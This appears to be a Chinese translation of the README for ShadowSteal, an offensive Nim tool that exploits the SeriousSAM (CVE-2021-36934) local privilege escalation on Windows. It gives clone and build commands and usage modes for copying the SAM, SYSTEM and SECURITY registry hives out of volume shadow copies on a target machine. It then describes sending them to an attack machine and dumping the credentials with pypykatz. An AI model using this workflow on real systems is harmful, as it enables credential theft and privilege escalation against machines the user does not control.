纯 Nim 实现的 CVE-2021-36934 利用工具,针对 SeriousSAM 本地权限提升(LPE)。目前还谈不上 OPSEC 安全…… ;)。我不声称拥有该漏洞的发现功劳。
得益于 Docker,现在上手 ShadowSteal 比以往任何时候都简单!不想折腾安装 Nim 依赖?交给我吧,伙计!运行 Python 脚本即可创建 Docker 构建环境、编译二进制文件、将其传回宿主机,然后销毁容器。
在宿主机上安装 Docker(不同操作系统的安装方法请查阅官方文档),然后在主目录下运行 ShadowSteal Python 脚本:
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l
或者,通过安装 Nim 及其依赖,从源码进行构建:
$ sudo apt-get install nim
$ nimble install zippy argparse winim
如果尚未安装 MinGW 工具链,请先安装。
$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l
传输到目标机器...
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
由于微软的一些疏忽,在较新的 Windows 版本中,普通用户对 ...\System32\config\ 文件夹中的内容拥有读取权限。除此之外,这意味着低权限用户也能读取 ...\System32\config 中的 SAM、System 和 Security 文件。

嚯。那我们能拿这个做什么呢?
一些非常敏锐的研究人员(在此向 @jonasLyk 致敬!)注意到,如果 Windows 主机启用了特定的系统还原配置“卷影副本(Volume Shadow Copies)”,那么主机就会存储这些文件的备份副本,并且可以通过这些副本的 Win32 设备命名空间进行访问。


在主机运行期间,SAM 通常处于锁定状态,因此访问 ...\System32\config\ 中的 SAM 是根本不可能的。但由于这一配置错误,这些卷影副本对主机上的任何用户来说都是唾手可得的目标。非常棒!
ShadowSteal 是一个用 Nim 编写的二进制程序,用于自动枚举并从这些卷影副本中窃取 SAM、System 和 Security 文件。它会遍历卷影副本所有可能存在的位置,一旦找到目标,便将文件提取到一个压缩目录中(可以理解为 Bloodhound 输出)。


这没什么惊天动地的,代码也略显粗糙,但它能用,而且构建过程很有趣!
安装 Nim:
$ sudo apt-get install nim
安装依赖:
$ nimble install zippy argparse winim
如果尚未安装 MinGW 工具链,请先安装:
$ sudo apt-get install mingw-w64
为 64 位 Windows 编译:
$ make
传输到目标机器并运行它!
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifies and extracts credentials that can be stolen due to the SeriousSAM (CVE-2021-36934) exploit. Searches from high to low, defaults searching 100 to 1.
Usage:
[options]
Options:
-h, --help
-t, --triage [*] Triage mode. Quick enumeration, tries to find quick wins.
-bf, --bruteforce [*] Bruteforce mode. Enumerates the entire range of possible locations (512 to 1). Takes a bit.
-b, --bezos [?] Jeff Bezos Mode
将位置枚举范围限制在 10 到 1,每次尝试依次递减。在大多数环境中快速且有效。
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t
搜索所有可能的位置(512),依次递减到 1。尝试此模式以彻底枚举环境。需要几分钟时间。
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf
将输出目录传回你的攻击机,并使用 Pypykatz 提取数据。安装方法:
$ pip3 install pypykatz
运行 Pypykatz:
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

现在内置了一个开箱即用的 Docker 构建环境!只需运行 ShadowSteal.py 脚本即可设置 Docker 环境、编译二进制文件、将其传回宿主机,然后销毁构建容器。开箱即用!(需要自行组装,也就是说你需要安装 Docker 才能运行它)。
精简强悍。新增优化编译选项。得益于编译器优化,性能大幅提升,完整的暴力枚举现在几乎瞬间即可完成。非常感谢 @orbitalgun 的伪 PR,荣耀归于你和你的名号!
上车吧各位,这辆破车要开动了。这个版本是我的快速原型,说实话糟透了,哈哈。不过构建起来倒是乐趣无穷! 特点:
